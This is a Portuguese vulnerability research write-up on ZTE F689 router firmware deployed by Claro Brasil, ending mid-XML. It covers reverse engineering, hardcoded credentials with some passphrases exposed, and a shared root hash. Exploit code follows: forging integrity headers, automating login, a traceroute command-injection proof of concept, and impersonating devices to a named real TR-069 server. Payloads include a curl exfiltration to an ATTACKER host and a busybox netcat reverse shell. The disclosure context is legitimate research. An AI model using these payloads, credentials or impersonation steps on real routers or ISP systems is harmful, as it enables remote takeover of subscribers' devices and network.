<p>A primeira coisa que chamou minha atenção foi <code>etc/hardcodefile/</code>. Só o nome já é um sinal amarelo. Dentro: um arquivo chamado <code>webpri</code> , claramente criptografado, não legível direto , e um arquivo chamado <code>hardcode</code> em texto claro. O arquivo <code>hardcode</code> continha o que parecia ser material de derivação de chave. Essa combinação já acendeu o alerta na hora.</p>
<p>A segunda coisa foi <code>etc/shadow</code>:</p>
<pre><code class="language-plaintext">root:$5$qGmxLn8v$0Vnc7mm0Lyxr7WclD6sjGJe93Tk.DoXQy0I0jBS1bu.:18000:0:99999:7:::
</code></pre>
<p>SHA-256crypt. Mesmo hash em todos os dispositivos. Se eu conseguisse quebrar, teria root em todo F689 V9 do Brasil. Anotei e segui em frente.</p>
<p>Terceira: <code>etc/server-key.pem</code> e <code>etc/server-cert.pem</code>. O certificado HTTPS da interface web. Incluindo a chave privada. Hardcoded. Igual em todos os dispositivos.</p>
<p>Eu já estava contando vulnerabilidades antes de ter aberto um único binário.</p>
<h3>Ferramentas</h3>
<p>Meu toolkit principal de RE nesse projeto:</p>
<ul>
<li><p><strong>binwalk</strong> , unpacking do firmware</p>
</li>
<li><p><strong>radare2</strong> , disassembler principal para <code>bin/cspd</code> (ARM 32-bit ELF)</p>
</li>
<li><p><strong>Ghidra</strong> , usado para decompilação de alto nível e análise de cross-references, especialmente útil pra mapear a camada de IPC entre <code>httpd</code> e <code>cspd</code></p>
</li>
<li><p><strong>strings + grep</strong> , subestimadas; encontraram padrões críticos no <code>cspd</code> antes mesmo de eu abrir um disassembler</p>
</li>
<li><p><strong>Python (requests + pycryptodome)</strong> , toda a automação de testes dinâmicos</p>
</li>
<li><p><strong>zte-config-utility</strong> , descriptografia do config.bin</p>
</li>
<li><p><strong>scripting em radare2 (r2pipe)</strong> , análise em lote de cross-references</p>
</li>
</ul>
<hr />
<h2>4. Fluxo de Trabalho de Engenharia Reversa</h2>
<h3>Mapeando a Arquitetura</h3>
<p>Antes de mergulhar em qualquer vulnerabilidade específica, gastei um tempo entendendo como o sistema se encaixa. A interface web do ZTE F689 segue um padrão que já vi em alguns firmwares de roteador embarcado: um frontend baseado em Lua rodando dentro de um binário <code>httpd</code> customizado, que se comunica com um daemon de backend (<code>bin/cspd</code>) via IPC.</p>
<p>O fluxo pra qualquer request web fica assim:</p>
<pre><code class="language-plaintext">Browser → httpd → módulo Lua → cmapi.setinst() → socket IPC → cspd → ação
</code></pre>
<p><code>cmapi</code> é uma extensão C do Lua que faz a ponte entre o frontend Lua e o daemon C. Toda mudança de configuração, todo comando de diagnóstico e todo evento de autenticação passa por esse canal. Entender essa arquitetura foi a chave pra encontrar as injection vulnerabilities , a pergunta sobre sanitização virou "o que o <code>cspd</code> faz com os valores que recebe?"</p>
<h3>Rastreando o Fluxo de Autenticação</h3>
<p>Comecei pela autenticação porque o <code>config.xml</code> já tinha me mostrado mais contas do que eu esperava. O fluxo de login funcionava assim:</p>
<ol>
<li><p>Cliente faz GET em <code>login_token</code> , um valor de uso único gerado pelo servidor</p>
</li>
<li><p>Cliente computa <code>SHA256(senha + login_token)</code></p>
</li>
<li><p>Cliente faz POST em <code>login_entry</code> com <code>Username</code>, <code>Password</code> (hash) e <code>_sessionTOKEN</code></p>
</li>
<li><p>Servidor valida e retorna um <code>sess_token</code> com um nível <code>login_right</code></p>
</li>
</ol>
<p>Havia também um header <code>Check</code> em todo POST , uma assinatura de integridade no formato <code>base64(RSA_PKCS1v1.5_encrypt(sha256(body)))</code>. Achei a chave pública hardcoded no template Lua <code>commpage_status_comm.lp</code>. O que imediatamente sugeriu que alguém tinha a chave privada também , e que essa chave privada estaria dentro do credential store criptografado <code>webpri</code>.</p>
<h3>Quebrando o Credential Store</h3>
<p>A criptografia do arquivo <code>webpri</code> acabou sendo AES-256-CBC, com a chave derivada deterministicamente a partir do arquivo <code>hardcode</code> via um processo implementado em <code>libhardcode.so</code>. Fiz engenharia reversa da derivação da chave a partir da biblioteca e escrevi uma reimplementação em Python:</p>
<pre><code class="language-python">from Crypto.Cipher import AES
import base64, hashlib

def derive_key_from_hardcode(hardcode_content):
    # libhardcode.so deriva a chave AES usando uma cadeia de operações SHA
    # sobre campos específicos extraídos do arquivo hardcode
    # [detalhes omitidos até o fim do embargo]
    ...

def decrypt_webpri(webpri_bytes, key):
    iv  = webpri_bytes[:16]
    ct  = webpri_bytes[16:]
    aes = AES.new(key, AES.MODE_CBC, iv)
    return aes.decrypt(ct).rstrip(b'\x00')
</code></pre>
<p>O resultado foram mais de 26 entradas de credenciais em texto claro, incluindo:</p>
<table>
<thead>
<tr>
<th>Chave</th>
<th>Valor</th>
</tr>
</thead>
<tbody><tr>
<td><code>WebPrivateKey</code></td>
<td><code>Web!&amp;#XXXXX</code></td>
</tr>
<tr>
<td><code>WebHTTPSKey</code></td>
<td><code>zte123XXXXX</code></td>
</tr>
<tr>
<td><code>DefAdNewPass</code></td>
<td><code>Web@0XXXXXX</code></td>
</tr>
<tr>
<td><code>AdNewAgentClaroPass</code></td>
<td><code>1lt0rit0XXXXX</code></td>
</tr>
<tr>
<td><code>AdOldPass56</code></td>
<td><code>VnpthanXXXXXX</code></td>
</tr>
</tbody></table>
<p>O <code>WebPrivateKey</code> foi imediatamente reconhecível , era a passphrase da chave privada RSA usada pra gerar o header <code>Check</code>. <code>WebHTTPSKey</code> era a passphrase da chave do certificado TLS. <code>DefAdNewPass</code> era a senha default do admin. <code>AdOldPass56</code> contém o que parece ser a senha de um provedor vietnamita , esse firmware foi implantado em vários países, e as credenciais de todos eles vêm empacotadas juntas.</p>
<p>Com a <code>WebPrivateKey</code> em mãos, eu podia construir headers <code>Check</code> válidos pra qualquer body de request, em qualquer dispositivo F689 , totalmente offline, sem nunca contactar o alvo. Combinado com uma sessão válida (obtida via a falha de autenticação que descreverei depois), isso derrota a proteção de integridade pretendida em qualquer POST.</p>
<h3>Conectando Lua ao C</h3>
<p>A parte mais interessante do workflow de RE foi conectar o código Lua do frontend com os handlers em C no <code>cspd</code>. A ponte <code>cmapi</code> recebe o nome de um objeto (tipo <code>"OBJ_DEVPING_ID"</code> ou <code>"OBJ_TRACERT_ID"</code>) e uma tabela de parâmetros, serializa e manda via socket UNIX IPC pro <code>cspd</code>.</p>
<p>No <code>cspd</code>, usei <code>strings</code> pra encontrar as strings dos nomes dos objetos, depois o radare2 pra encontrar todos os cross-references a elas , o que me levou direto às funções handler. Foi assim que mapeei a cadeia completa de processamento de cada endpoint de diagnóstico.</p>
<hr />
<h2>5. Descoberta das Vulnerabilidades</h2>
<p>Vou descrever as falhas na ordem em que eu as descobri, porque a sequência importa , cada descoberta informou a próxima.</p>
<h3>CVE-B , Credenciais Hardcoded (CWE-798)</h3>
<p>Essa foi a primeira descoberta séria, e foi a que destravou quase todo o resto. O arquivo <code>webpri</code> contendo mais de 26 credenciais compartilhadas entre todos os dispositivos dessa versão de firmware é a raiz da árvore de vulnerabilidades. Sem <code>WebPrivateKey</code>, eu não consigo forjar headers <code>Check</code>. Sem <code>DefAdNewPass</code>, eu não sei a senha do admin. Sem <code>AdNewAgentClaroPass</code>, eu não entendo a hierarquia completa de contas.</p>
<p>CVSS: <strong>10.0 Critical</strong> (<code>AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H</code>)</p>
<p>O firmware é publicamente baixável. Qualquer pessoa pode rodar o script de descriptografia e extrair todas as credenciais. Sem precisar de acesso a dispositivo nenhum.</p>
<h3>CVE-C , Par de Chaves RSA-4096 Compartilhado (CWE-321)</h3>
<p>O mecanismo do header <code>Check</code> deveria garantir que POSTs pra interface web não tenham sido alterados no caminho. O dispositivo valida cada request descriptografando o header <code>Check</code> com sua chave pública e comparando o resultado com <code>SHA256(request_body)</code>.</p>
<p>O problema é que o mesmo par de chaves RSA é usado em todos os dispositivos. A chave pública está hardcoded num template Lua (pra o JavaScript do browser saber qual usar). A chave privada mora em <code>etc/private-key.pem</code>, protegida apenas pela passphrase <code>Web!&amp;#2024.</code> vinda do <code>webpri</code>.</p>
<p>Na prática: uma vez que você tem a chave privada (trivial de obter do firmware), você pode forjar headers <code>Check</code> pra qualquer sessão autenticada em qualquer dispositivo do mundo. Combinado com um token de sessão roubado, você tem uma primitiva de forgery que não pode ser contestada.</p>
<p>CVSS: <strong>8.1 High</strong> (<code>AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N</code>)</p>
<h3>CVE-F (nomenclatura da disclosure) , Certificado TLS Compartilhado (CWE-321 + CWE-298)</h3>
<p>Enquanto eu olhava pra a chave RSA, notei <code>etc/server-key.pem</code> e <code>etc/server-cert.pem</code>. São as credenciais TLS da interface web HTTPS. O certificado é auto-assinado, válido por 100 anos (2021–2121), emitido pra <code>emailAddress=123@zte.com</code> e , adivinhou , idêntico em todos os dispositivos.</p>
<p>Com a chave privada (passphrase <code>zte12345!@#$%</code> vinda do <code>webpri</code>), um atacante na rede local pode fazer MitM trivial da conexão HTTPS entre um assinante e a interface admin do seu roteador, capturando silenciosamente credenciais em trânsito.</p>
<h3>CVE-D , ACS TR-069 Aceita Inform Sem Autenticação (CWE-306)</h3>
<p>Essa foi a que mais me surpreendeu, porque não é uma vulnerabilidade de firmware , é uma vulnerabilidade de infraestrutura.</p>
<p>O ACS da Claro Brasil fica em <code>tr069.sdm.virtua.com.br:7547</code>. O protocolo CWMP exige que o CPE autentique no ACS, mas o ACS não autentica o CPE de forma significativa. Escrevi um teste pequeno: enviar mensagens <code>Inform</code> pro ACS fingindo ser dispositivos aleatórios, com valores aleatórios de <code>SerialNumber</code> e <code>OUI</code>.</p>
<pre><code class="language-python">inform_body = """&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;soapenv:Envelope ...&gt;
  &lt;soapenv:Body&gt;
    &lt;cwmp:Inform&gt;
      &lt;DeviceId&gt;
        &lt;Manufacturer&gt;ZTE&lt;/Manufacturer&gt;
        &lt;OUI&gt;{oui}&lt;/OUI&gt;
        &lt;ProductClass&gt;F689&lt;/ProductClass&gt;
        &lt;SerialNumber&gt;{serial}&lt;/SerialNumber&gt;
      &lt;/DeviceId&gt;
      ...
    &lt;/cwmp:Inform&gt;
  &lt;/soapenv:Body&gt;
&lt;/soapenv:Envelope&gt;"""
</code></pre>
<p>160 requests. 160 <code>InformResponse</code> bem-sucedidos. 160 valores únicos de <code>CWMPSessionToken</code>. O ACS aceitou cada identidade que eu apresentei.</p>
<p>Um atacante que conheça o número de série de um dispositivo do assinante , obtível via backup <code>config.xml</code> que o próprio assinante pode exportar, ou adivinhável dado o formato <code>CLARO_XXXXXX</code> , pode se passar por aquele dispositivo no ACS, potencialmente emitindo <code>GetParameterValues</code> pra ler a configuração do aparelho ou <code>SetParameterValues</code> pra empurrar configurações maliciosas.</p>
<p>CVSS: <strong>10.0 Critical</strong> (<code>AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H</code>)</p>
<h3>CVE-H , Autenticação Agnóstica ao Username (CWE-287)</h3>
<p>Enquanto examinava o fluxo de autenticação em <code>usermgr_logic_impl.lua</code>, notei algo estranho. O username é lido do body do POST e passado todo o caminho até <code>cmapi.login()</code> , mas a camada C em <code>cspd</code> que de fato valida credenciais parece não usá-lo como chave de lookup. Ela só varre todas as contas habilitadas com <code>AppID=1</code> procurando um hash de senha que bata.</p>
<p>Hipótese: dá pra logar com qualquer username desde que a senha esteja correta.</p>
<p>Teste:</p>
<pre><code class="language-python">for username in ["CLARO_6842C7", "admin", "nonexistent_user", "root", "", "任意字符串"]:
    result = login(username, correct_password)
    print(f"{username!r:30s} → {result['sess_token'][:8]}... login_right={result['login_right']}")
</code></pre>
<p>Saída:</p>
<pre><code class="language-plaintext">'CLARO_6842C7'                 → 8Ob2ogwE... login_right=2
'admin'                        → 7Kp1nmqR... login_right=2
'nonexistent_user'             → 3Xw9vbcL... login_right=2
'root'                         → 5Qm4jkpY... login_right=2
''                             → 2Hn8rsdt... login_right=2
'任意字符串'                   → 9Fc6ltmP... login_right=2
</code></pre>
<p>Todos bem-sucedidos. O username é completamente ignorado no nível da autenticação , só é guardado na sessão pra fins de logging. Ou seja: um atacante com uma senha roubada não precisa saber o username correspondente. Ele também tem controle total sobre o que aparece no log de acesso do roteador.</p>
<p>CVSS: <strong>5.3 Medium</strong> (<code>AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N</code>) standalone, mas o efeito amplificador sobre a CVE-B torna isso significativamente mais perigoso na prática.</p>
<p>O código-fonte torna isso visível. De <code>usermgr_logic_impl.lua</code>:</p>
<pre><code class="language-lua">UserMgrLogicClass.__authAccount = function (self, sess_id, user, pass, logintoken)
    local tCheck = self:__isUserNamePwdCorrect(user, pass, logintoken)
    local result = tCheck.IF_ERRORID
    session_set(sess_id, "login_name", user)   -- guardado, mas nunca usado pra auth
    if 0 == result then
        local login_right = tCheck["Right"]    -- vem do resultado do match de senha
        session_set(sess_id, "login_right", login_right)
    end
end
</code></pre>
<p>O <code>tCheck["Right"]</code> que determina o seu nível de privilégio vem da conta cuja senha deu match , o username submetido não teve nenhuma influência.</p>
<h3>CVE-A , Injeção no Ping (CWE-78) , Bloqueada</h3>
<p>Vou ser transparente: a injeção no ping que eu inicialmente suspeitei acabou sendo efetivamente patchada pela camada de validação, mesmo que o code path em si ainda seja tecnicamente vulnerável. Estou incluindo porque entender por que ela é bloqueada é essencial pra entender por que a injeção no traceroute (abaixo) não é.</p>
<p>O handler de ping no <code>cspd</code> , <code>PingChkReqConf</code> , chama dois validadores antes de fazer qualquer coisa:</p>
<pre><code class="language-plaintext">ChkHost(host)         → checagem estrita de formato IPv4/IPv6/domínio , bloqueia ;, |, &amp;, espaço
ChkLanWanCon(iface)  → lookup exato no banco via GetRouteIFInfo , rejeita qualquer string modificada
</code></pre>
<p>Teste dinâmico com <code>Interface=DEV.IP.IF4;sleep 5</code>:</p>
<pre><code class="language-plaintext">Payload: DEV.IP.IF4;sleep 5    → FAIL, 0.84s  ← rejeitado pelo ChkLanWanCon
Payload: ;sleep 5              → FAIL, 0.82s  ← rejeitado pelo ChkHost
Payload: DEV.IP.IF4            → SUCC, 0.97s  ← só interface válida passa
</code></pre>
<p>O spawner de processos <code>pc</code> (que de fato executa comandos via <code>execl("/bin/sh", "sh", "-c", cmd)</code>) só filtra <code>&gt;</code>, <code>'</code>, <code>"</code>, <code>\</code>, <code>$</code> e backticks , não filtra <code>;</code>, <code>|</code> nem <code>&amp;</code>. Então o mecanismo de execução shell-level é vulnerável. Mas a validação application-level para a injection antes que chegue ao shell. Majoritariamente mitigado.</p>
<p>Digo "majoritariamente" porque o caminho TR-069 (ISP empurrando config via <code>SetParameterValues</code>) pode contornar completamente a validação da camada web , mas é uma questão de pesquisa separada que eu não persegui.</p>
<h3>CVE-G (matriz CVE-F) , Injeção no Traceroute (CWE-78)</h3>
<p>Aqui a coisa ficou interessante. Enquanto auditava o <code>cspd</code> olhando o handler do ping, naturalmente olhei pro handler do traceroute , <code>tracertProcSynMsg</code> em VA <code>0x134f48</code>. Procurei qualquer chamada a <code>ChkHost</code> ou <code>ChkLanWanCon</code> dentro dessa função.</p>
<p>Zero resultados.</p>
<pre><code class="language-asm">; VA 0x134f60 , Host inserido diretamente na string do comando
0x134f60  ldr  r2, [str.traceroute1__s...]  ; "traceroute1 %s [-4/-6] [-w ...]"
0x134f68  mov  r3, r4                        ; r4 = POST["Host"] , sem validação
0x134f6c  bl   sym.imp.snprintf

; VA 0x135a00 , Interface concatenado sem validação
0x135a00  ldr  r1, [str._-i_]               ; " -i "
0x135a08  bl   sym.imp.strcat
0x135a0c  ldr  r1, [r4, #sInterface_off]    ; POST["Interface"] , sem validação
0x135a14  bl   sym.imp.strcat               ; strcat(cmd, sInterface) ← INJECTION

; VA 0x135d74 , despachado pro shell
0x135d80  bl   sym.imp.PcStartProgram       ; executa via /bin/sh
</code></pre>
<p>O handler de traceroute é uma cópia literal do padrão de vulnerabilidade contra o qual o handler de ping foi fortalecido. Mesmo <code>snprintf</code>/<code>strcat</code> pra montar um comando shell, mesmo dispatch <code>PcStartProgram</code>. Mas com zero validadores.</p>
<p>O comando resultante com <code>Interface=;sleep 5;</code>:</p>
<pre><code class="language-plaintext">traceroute1 1.1.1.1 -4 -w 3 -q 3 -m 10 -i ;sleep 5;
</code></pre>
<p>O shell executaria <code>traceroute1 1.1.1.1 -4 -w 3 -q 3 -m 10 -i</code> (falhando ou rodando parcialmente), depois executaria <code>sleep 5</code>, e então o ponto-e-vírgula final.</p>
<p>A camada Lua confirma o mesmo padrão:</p>
<pre><code class="language-lua">-- networkdiag_traceroute_lua.lua
if FP_ACTION == "TraceRouteDiagnosis" then
    local t = transToPostTab(PARA)   -- copia Host e Interface verbatim
    SetFixValue(t)
    tError = cmapi.setinst(FP_OBJNAME, "", t)  -- zero validação antes disso
end
</code></pre>
<p>Por que isso não foi confirmado dinamicamente? Porque em dispositivos Claro Brasil BCH, o endpoint do traceroute exige <code>login_right=1</code>, e a única conta web com <code>login_right=1</code> , <code>admin/Web@0063</code> , tem <code>Enable=0</code> na tabela <code>DevAuthInfo</code>. A Claro desabilitou a conta de admin no momento do provisionamento.</p>
<p>A fórmula de controle de acesso (de <code>usermgr_logic_impl.lua</code>):</p>
<pre><code class="language-lua">elseif ((resourceRight * ((0.5)^(userRight - 1))) % 2) &gt;= 1 then
    rightMeeted = true
</code></pre>
<p>Com <code>resourceRight=1</code> (traceroute exige admin apenas) e <code>userRight=2</code> (o que eu tenho):</p>
<pre><code class="language-plaintext">(1 × 0.5^1) % 2 = 0.5 % 2 = 0.5 &lt; 1 → BLOQUEADO
</code></pre>
<p>Em qualquer deployment onde a conta admin esteja habilitada , configuração padrão de fábrica da ZTE, ou qualquer provedor que não aplique o hardening BCH , isso é diretamente explorável.</p>
<p>CVSS: <strong>8.8 High</strong> (<code>AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</code>)</p>
<h3>CVE-H (matriz CVE-G) , Injeção no TcpDump via IFName (CWE-78)</h3>
<p>Encontrada durante uma busca sistemática por padrões de <code>snprintf</code> no <code>cspd</code> que inserem dados controlados pelo usuário em strings de comando. O handler de tcpdump em VA <code>0x0012d0bc</code>:</p>
<pre><code class="language-c">// Reconstruído do disassembly
snprintf(cmd, sizeof(cmd),
    "tcpdump -w /var/tmp/tcpdump.pcap -R time=%d -i %s -C %u",
    time_param,   // inteiro, seguro
    IFName,       // POST["IFName"] , NÃO VALIDADO
    size_param);  // inteiro, seguro
PcStartProgram("tcpdump", cmd);
</code></pre>
<p>Não existe função <code>ChkTcpDump</code> em lugar nenhum do <code>libcfapi.so</code>. Na configuração BCH, o endpoint do tcpdump (<code>diag_tcpdump_lua.lua</code>) nem sequer está registrado em <code>gui_dmenu.lua</code>, então é inalcançável nesse provedor específico. Mas o código está lá, compilado, esperando, e outras configurações de firmware podem expô-lo.</p>
<p>CVSS: <strong>7.2 High</strong> (<code>AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H</code>)</p>
<h3>CVE-E , Hash da Senha Root em Shadow (CWE-259 / CWE-916)</h3>
<pre><code class="language-plaintext">root:$5$qGmxLn8v$0Vnc7mm0Lyxr7WclD6sjGJe93Tk.DoXQy0I0jBS1bu.
</code></pre>
<p>SHA-256crypt (<code>$5$</code>), salt fixo <code>qGmxLn8v</code>, mesmo hash em todos os dispositivos dessa versão de firmware. Se quebrar, você tem acesso root em qualquer F689 V9 via console serial, ou via qualquer serviço de shell que esteja habilitado.</p>
<p>Tentei quebrar com uma wordlist customizada montada a partir de todas as credenciais do <code>webpri</code> e mutações comuns. Sem sucesso. Vai precisar de GPU e rockyou/seclists pra ser atacado como deve.</p>
<p>CVSS: <strong>8.1 High</strong> (<code>AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H</code>), subindo pra 9.8 Critical se quebrado.</p>
<h3>CVE-J — Stack Overflow Pré-Autenticado em <code>httpd</code>: RCE como Root (CWE-121)</h3>
<p>Durante análise do <code>bin/httpd</code>, identifiquei um path de processamento que roda <strong>antes de qualquer verificação de sessão ou autenticação</strong>. A função <code>check_data_integrity</code> em <code>0x23d58</code> é invocada para todo POST em <code>/?_type=menuData</code> que contenha um header <code>Check:</code>. A função faz descriptografia RSA no conteúdo do header — e essa descriptografia transborda um buffer de stack sem nenhuma proteção.</p>
<h4>Processo de Engenharia Reversa</h4>
<p>O ponto de partida foi comportamental: qualquer POST para <code>/?_type=menuData</code> com um header <code>Check:</code> malformado retorna HTTP 400 <em>mesmo sem sessão ativa</em>. Isso indicava que o header era processado pré-autenticação — antes do dispatch de login, não depois.</p>
<p>Verificações preliminares no binário:</p>
<pre><code class="language-bash">$ file bin/httpd
bin/httpd: ELF 32-bit LSB executable, ARM, EABI5 version 1, dynamically linked
# "executable" (não "shared object") = non-PIE — endereços fixos mesmo com ASLR

$ grep -c __stack_chk bin/httpd
0
# Sem stack canary em nenhuma função

$ readelf -l bin/httpd | grep GNU_STACK
  GNU_STACK  0x000000  ... RW
# NX ativo (stack não-executável) — mas sem canary, NX sozinho não impede ROP

$ nm -D bin/httpd | grep -c fork
0
# httpd é single-process, sem fork/vfork no handler de conexão
</code></pre>
<p>No Ghidra (ARM32 LE, base <code>0x00000000</code> para non-PIE), a função <code>check_data_integrity@0x23d58</code> decompila para:</p>
<pre><code class="language-c">// httpd @ 0x23d58 — pseudocódigo gerado pelo Ghidra, simplificado
void check_data_integrity(http_request_t *req) {
    char sb[256];            // buffer na stack em fp−0x11c
    char check_b64[700];
    unsigned char c_buf[700];

    RSA *rsa = PEM_read_RSAPrivateKey("/etc/private-key.pem",
                                       NULL, NULL, NULL);

    int check_len = get_header_value(req, "Check:", check_b64, 700);
    if (check_len &lt;= 0) return;

    int c_len = decode_base64(check_b64, c_buf);

    // ← VULNERABILIDADE: parâmetro `to` sem limitação de tamanho de saída
    // RSA-4096 com PKCS#1: plaintext máximo = 4096/8 − 11 = 501 bytes
    // sb tem apenas 256 bytes → overflow de até 245 bytes garantido
    int m_len = RSA_private_decrypt(c_len, c_buf, sb, rsa, RSA_PKCS1_PADDING);

    // A função continua comparando sb com SHA256(body)
    // mas a stack já foi corrompida se m_len &gt; 256
}
</code></pre>
<p>A causa raiz é a assinatura de <code>RSA_private_decrypt</code>: o parâmetro <code>to</code> recebe o plaintext sem nenhum parâmetro <code>max_len</code>. O chamador é responsável por dimensionar o buffer — e aqui o buffer de 256 bytes é incapaz de conter o plaintext máximo de 501 bytes de uma chave RSA-4096.</p>
<h4>Controle Total do Conteúdo do Overflow</h4>
<p>O aspecto que transforma esse overflow em RCE completo sem nenhuma informação secreta: o atacante controla o plaintext <code>M</code> usando apenas a chave <em>pública</em>.</p>
<p><code>RSA_private_decrypt(C) = M</code> se e somente se <code>C = RSA_public_encrypt(M)</code>. A chave pública correspondente à <code>/etc/private-key.pem</code> está disponível em texto claro em <code>home/httpd/thinklua/template/commpage_status_comm.lp</code> — e é a <strong>mesma chave pública em todos os dispositivos</strong> (CVE-C). Logo:</p>
<ol>
<li><p>Atacante escolhe payload <code>M</code> arbitrário de até 501 bytes</p>
</li>
<li><p>Computa <code>C = RSA_public_encrypt(M)</code> localmente (não precisa da chave privada)</p>
</li>
<li><p>Envia <code>C</code> em base64 no header <code>Check:</code> de um POST para <code>/?_type=menuData</code></p>
</li>
<li><p><code>httpd</code> decripta <code>C → M</code>, transbordando <code>sb[256]</code> com exatamente o conteúdo escolhido</p>
</li>
<li><p>Overflow ocorre <strong>antes de qualquer autenticação</strong> — zero sessão, zero credencial necessária</p>
</li>
</ol>
<p>CVSS: <strong>9.8 Critical</strong> (<code>AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H</code>)</p>
<hr />
<h2>6. Detalhes de Exploração</h2>
<h3>Construindo o Header Check</h3>
<p>A interface web rejeita qualquer POST cujo header <code>Check</code> não verifique contra o body do request. O dispositivo executa o lado public-key de uma verificação de assinatura PKCS#1 v1.5: aplica a chave pública RSA hardcoded ao valor do Check e compara o resultado com <code>SHA256(body)</code>. Pra forjar um Check válido, você precisa da chave privada correspondente , que vem do <code>webpri</code> (passphrase <code>Web!&amp;#2024.</code>, via CVE-B):</p>
<pre><code class="language-python">import hashlib, base64
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5

privkey = RSA.import_key(open("etc/private-key.pem").read(),
                          passphrase="Web!&amp;#2024.")

def make_check_header(post_body: str) -&gt; str:
    digest  = hashlib.sha256(post_body.encode()).hexdigest()
    cipher  = PKCS1_v1_5.new(privkey)
    return base64.b64encode(cipher.encrypt(digest.encode())).decode()
</code></pre>
<p>Detalhe de API que vale notar: <code>Crypto.Cipher.PKCS1_v1_5.encrypt()</code> chamado com uma chave privada executa exatamente a primitiva que o dispositivo espera , um padrão de "assinatura via encryption" , mesmo que o nome do método sugira encryption. O dispositivo então aplica a operação public-key e recupera o digest SHA256.</p>
<p>Com essa primitiva em mãos, consigo produzir um Check válido pra qualquer body, pra qualquer sessão, em qualquer dispositivo F689. Sem state de sessão, sem contato com o dispositivo, sem negociação. A proteção de integridade pretendida está completamente quebrada pra qualquer pessoa com acesso ao firmware.</p>
<h3>Automatizando o Fluxo de Login</h3>
<p>A automação completa do login, incluindo a sequência de token-chaining ligeiramente incomum:</p>
<pre><code class="language-python">import hashlib, re, requests

def zte_login(target, username, password):
    sess = requests.Session()
    sess.headers.update({
        "User-Agent": "Mozilla/5.0",
        "X-Requested-With": "XMLHttpRequest",
        "Origin": target,
        "Referer": target + "/"
    })

    # Passo 1: estabelecer cookie de sessão
    sess.get(target + "/")

    # Passo 2: obter o session token (usado no POST de login)
    r = sess.get(target + "/?_type=loginData&amp;_tag=login_entry",
                 headers={"Accept": "application/json"})
    sess_token = r.json().get("sess_token", "")

    # Passo 3: obter o login token de uso único (usado no hash da senha)
    r = sess.get(target + "/?_type=loginData&amp;_tag=login_token")
    login_token = re.sub(r"&lt;[^&gt;]+&gt;", "", r.text).strip()

    # Passo 4: gerar hash da senha
    pwd_hash = hashlib.sha256((password + login_token).encode()).hexdigest()

    # Passo 5: POST das credenciais
    body = (f"action=login&amp;Username={username}"
            f"&amp;Password={pwd_hash}&amp;_sessionTOKEN={sess_token}")
    r = sess.post(target + "/?_type=loginData&amp;_tag=login_entry",
                  data=body,
                  headers={"Content-Type": "application/x-www-form-urlencoded"})

    j = r.json()
    if "sess_token" in j and not j.get("loginErrMsg"):
        # Passo 6: navegar pra página alvo (estabelece o state no httpd)
        sess.get(target + "/?_type=menuView&amp;_tag=TRACEROUTEDiagnosis&amp;Menu3Location=0")
        return sess, j["sess_token"]
    return None, None
</code></pre>
<p>Uma coisa que me mordeu cedo: você não pode só autenticar e imediatamente fazer POST num endpoint de dados. Você precisa navegar pra a página <code>menuView</code> correspondente antes , caso contrário, o <code>httpd</code> retorna <code>SessionTimeout</code> mesmo com sessão válida. O servidor mantém state de "em qual página você está" e exige que o endpoint de dados bata com isso. Perdi algumas horas pra descobrir por que meus POSTs autenticados estavam sendo rejeitados.</p>
<h3>PoC da Injeção no Traceroute</h3>
<p>Com uma sessão Level=1 (exige conta admin habilitada , não disponível em BCH da Claro, mas válido no firmware padrão da ZTE):</p>
<pre><code class="language-python">def traceroute_inject(sess, target, sess_token, payload):
    body = (
        f"IF_ACTION=TraceRouteDiagnosis&amp;_InstID=&amp;Control="
        f"&amp;Host=1.1.1.1"
        f"&amp;Interface={payload}"
        f"&amp;MaxHopCount=10&amp;Timeout=3000&amp;Protocol=UDP"
        f"&amp;Btn_TraceRouteDiagnosis="
        f"&amp;_sessionTOKEN={sess_token}"
    )
    check = make_check_header(body)
    t0 = time.time()
    r = sess.post(
        target + "/?_type=menuData&amp;_tag=networkdiag_traceroute_lua.lua",
        data=body,
        headers={"Content-Type": "application/x-www-form-urlencoded",
                 "Check": check},
        timeout=30
    )
    return time.time() - t0, r.text

# Time-based blind injection
elapsed, _ = traceroute_inject(sess, TARGET, token, "%3Bsleep+5%3B")
print(f"Elapsed: {elapsed:.2f}s")  # ≥ 5.0s confirma execução
</code></pre>
<p>Pra exfiltração com curl (presente no firmware via <code>libcurl</code> 7.59.0):</p>
<pre><code class="language-plaintext">Interface=;curl -s -m5 -X POST http://ATTACKER:9191/id -d "$(id)";
</code></pre>
<p>Pra reverse shell via BusyBox (1.17.2, presente em <code>/bin/busybox</code>):</p>
<pre><code class="language-plaintext">Interface=;/bin/busybox nc ATTACKER PORT -e /bin/sh
</code></pre>
<h3>Explorando CVE-D , TR-069 ACS</h3>
<p>A exploração do ACS é a mais impactante do ponto de vista de rede. Pra impersonar um dispositivo:</p>
<pre><code class="language-python">import uuid, requests

ACS = "http://tr069.sdm.virtua.com.br:7547"

def send_inform(oui, serial):
    inform_xml = f"""&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
                  xmlns:cwmp="urn:dslforum-org:cwmp-1-0"&gt;
  &lt;soapenv:Header&gt;
    &lt;cwmp:ID soapenv:mustUnderstand="1"&gt;{uuid.uuid4()}&lt;/cwmp:ID&gt;
  &lt;/soapenv:Header&gt;
  &lt;soapenv:Body&gt;
    &lt;cwmp:Inform&gt;
      &lt;DeviceId&gt;
        &lt;Manufacturer&gt;ZTE&lt;/Manufacturer&gt;
        &lt;OUI&gt;{oui}&lt;/OUI&gt;
        &lt;ProductClass&gt;ZXHN F689&lt;/ProductClass&gt;
        &lt;SerialNumber&gt;{serial}&lt;/SerialNumber&gt;
      &lt;/DeviceId&gt;
      &lt;Event&gt;&lt;EventStruct&gt;&lt;EventCode&gt;0 BOOTSTRAP&lt;/EventCode&gt;&lt;/EventStruct&gt;&lt;/Event&gt;
